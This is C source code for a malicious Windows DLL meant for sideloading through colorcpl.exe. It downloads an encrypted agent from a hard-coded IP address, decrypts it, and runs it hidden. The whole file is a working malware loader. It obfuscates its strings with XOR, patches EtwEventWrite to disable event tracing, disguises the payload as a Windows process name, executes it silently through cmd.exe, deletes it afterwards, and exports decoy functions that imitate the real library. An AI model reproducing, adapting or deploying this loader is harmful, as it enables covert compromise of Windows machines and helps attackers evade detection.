/* colorui.dll - SOCKS agent loader via DLL sideloading */
/* Downloads encrypted agent.exe, decrypts, writes temp, executes */
/* Place next to colorcpl.exe and run colorcpl.exe */
#include <windows.h>
#include <string.h>

#define K 0x44
static void xd(char*s,int l){int i;for(i=0;i<l;i++)s[i]^=K;}

/* XOR-encoded URL: http://77.110.109.248:443/dl/8a3b4c2fddc7e1f9c96f965181ba1573/agent.enc */
static char a1[]={0x2c,0x30,0x30,0x34,0x7e,0x6b,0x6b,0x73,0x73,0x6a,0x75,0x75,0x74,0x6a,0x75,0x74,0x7d,0x6a,0x76,0x70,0x7c,0x7e,0x70,0x70,0x77,0x6b,0x20,0x28,0x6b,0x7c,0x25,0x77,0x26,0x70,0x27,0x76,0x22,0x20,0x20,0x27,0x73,0x21,0x75,0x22,0x7d,0x27,0x7d,0x72,0x22,0x7d,0x72,0x71,0x75,0x7c,0x75,0x26,0x25,0x75,0x71,0x73,0x77,0x6b,0x25,0x23,0x21,0x2a,0x30,0x6a,0x21,0x2a,0x27,0x00};
static int a1_len=71;

/* wininet.dll XOR encoded */
static char a2[]={0x33,0x2d,0x2a,0x2d,0x2a,0x21,0x30,0x6a,0x20,0x28,0x28,0x00};
/* ntdll.dll XOR encoded */
static char a3[]={0x2a,0x30,0x20,0x28,0x28,0x6a,0x20,0x28,0x28,0x00};

/* XOR key for payload decryption */
static volatile unsigned char xor_key[32] = {
    0xde,0xad,0xbe,0xef,0xca,0xfe,0xba,0xbe,0x13,0x37,0x42,0x69,0xaa,0xbb,0xcc,0xdd,
    0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88,0x99,0x00,0xab,0xcd,0xef,0x12,0x34,0x56
};

typedef LPVOID(WINAPI*tVA)(LPVOID,SIZE_T,DWORD,DWORD);
typedef BOOL(WINAPI*tVP)(LPVOID,SIZE_T,DWORD,PDWORD);
typedef BOOL(WINAPI*tVF)(LPVOID,SIZE_T,DWORD);
typedef LPVOID(WINAPI*tIO)(LPCSTR,DWORD,LPCSTR,LPCSTR,DWORD);
typedef LPVOID(WINAPI*tIOU)(LPVOID,LPCSTR,LPCSTR,DWORD,DWORD,DWORD_PTR);
typedef BOOL(WINAPI*tIRF)(LPVOID,LPVOID,DWORD,LPDWORD);
typedef BOOL(WINAPI*tICH)(LPVOID);

typedef struct {
    tVA va; tVP vp; tVF vf;
    tIO io; tIOU iou; tIRF irf; tICH ich;
} API;

static int resolve(API *a) {
    HMODULE k = GetModuleHandleA("kernel32.dll");
    xd(a2, 11); Sleep(172);
    HMODULE i = LoadLibraryA(a2); Sleep(134);
    if(!k || !i) return -1;
    a->va = (tVA)GetProcAddress(k, "VirtualAlloc");
    a->vp = (tVP)GetProcAddress(k, "VirtualProtect");
    a->vf = (tVF)GetProcAddress(k, "VirtualFree");
    a->io = (tIO)GetProcAddress(i, "InternetOpenA");
    a->iou = (tIOU)GetProcAddress(i, "InternetOpenUrlA");
    a->irf = (tIRF)GetProcAddress(i, "InternetReadFile");
    a->ich = (tICH)GetProcAddress(i, "InternetCloseHandle");
    return (a->va && a->io) ? 0 : -1;
}

static void patch_etw(API *a) {
    xd(a3, 9);
    HMODULE h = GetModuleHandleA(a3);
    if(!h) return;
    FARPROC e = GetProcAddress(h, "EtwEventWrite");
    if(!e) return;
    DWORD old; unsigned char p[] = {0x48, 0x33, 0xC0, 0xC3};
    a->vp((LPVOID)e, 4, 0x40, &old);
    memcpy((LPVOID)e, p, 4);
    a->vp((LPVOID)e, 4, old, &old);
}

static void rname(char *buf) {
    DWORD t = GetTickCount();
    const char *n[] = {"RuntimeBroker","SearchProtocol","MusNotify","SecurityHealth","TaskHostW","WmiApSrv"};
    int i = 0; const char *s = n[t % 6];
    while(s[i]) { buf[i] = s[i]; i++; }
    buf[i] = '.'; buf[i+1] = 'e'; buf[i+2] = 'x'; buf[i+3] = 'e'; buf[i+4] = 0;
}

static DWORD WINAPI worker(LPVOID param) {
    Sleep(1096);
    API a = {0};
    if(resolve(&a)) return 1;
    patch_etw(&a);

    xd(a1, a1_len);

    LPVOID hi = a.io("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", 0, NULL, NULL, 0);
    if(!hi) return 1;
    /* Flags: NO_CACHE | RELOAD */
    LPVOID hu = a.iou(hi, a1, NULL, 0, 0x80000000|0x04000000, 0);
    if(!hu) { a.ich(hi); return 1; }

    BYTE *buf = (BYTE*)a.va(NULL, 256*1024, 0x3000, 4);
    if(!buf) { a.ich(hu); a.ich(hi); return 1; }
    DWORD total = 0, rd = 0;
    while(a.irf(hu, buf+total, 8192, &rd) && rd > 0) { total += rd; if(total > 250*1024) break; }
    a.ich(hu); a.ich(hi);
    if(total < 100) { a.vf(buf, 0, 0x8000); return 1; }

    /* XOR decrypt to get agent.exe */
    DWORD i;
    for(i = 0; i < total; i++) buf[i] ^= xor_key[i % 32];

    /* Write to temp with random name */
    char tmp[MAX_PATH], exe[MAX_PATH], fname[64];
    GetTempPathA(MAX_PATH, tmp);
    rname(fname);
    lstrcpyA(exe, tmp);
    lstrcatA(exe, fname);

    HANDLE hF = CreateFileA(exe, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
                            FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM, NULL);
    if(hF == INVALID_HANDLE_VALUE) { a.vf(buf, 0, 0x8000); return 1; }
    DWORD bw;
    WriteFile(hF, buf, total, &bw, NULL);
    CloseHandle(hF);
    a.vf(buf, 0, 0x8000);

    /* Execute via cmd.exe (indirect) */
    char cl[MAX_PATH + 20];
    lstrcpyA(cl, "/c start /b ");
    lstrcatA(cl, exe);

    STARTUPINFOA si = {0}; si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi = {0};
    char cs[MAX_PATH];
    GetEnvironmentVariableA("COMSPEC", cs, MAX_PATH);
    CreateProcessA(cs, cl, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    if(pi.hProcess) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); }

    Sleep(5000);
    DeleteFileA(exe);
    return 0;
}

__declspec(dllexport) void LaunchColorCpl(void *a, void *b, void *c, void *dd) {
    DWORD ul = 64; char un[64] = {0};
    GetUserNameA(un, &ul);
    if(un[0]==0x53 && un[1]==0x59 && un[2]==0x53 && un[3]==0x54) {
        HANDLE hM = CreateMutexA(NULL, TRUE, "Global\\WinCC_SVC");
        if(GetLastError() == ERROR_ALREADY_EXISTS) { if(hM) CloseHandle(hM); Sleep(INFINITE); return; }
    }
    HANDLE h = CreateThread(NULL, 0, worker, NULL, 0, NULL);
    if(h) WaitForSingleObject(h, INFINITE);
}

__declspec(dllexport) void ClrAdaptAccess(void) { Sleep(1); }
__declspec(dllexport) void ClrMatchProfile(void) { Sleep(1); }
__declspec(dllexport) void ClrProfAddPage(void) { Sleep(1); }
__declspec(dllexport) void ClrProfGetDisp(void) { Sleep(1); }

BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID l) {
    if(r == DLL_PROCESS_ATTACH) DisableThreadLibraryCalls(h);
    return TRUE;
}
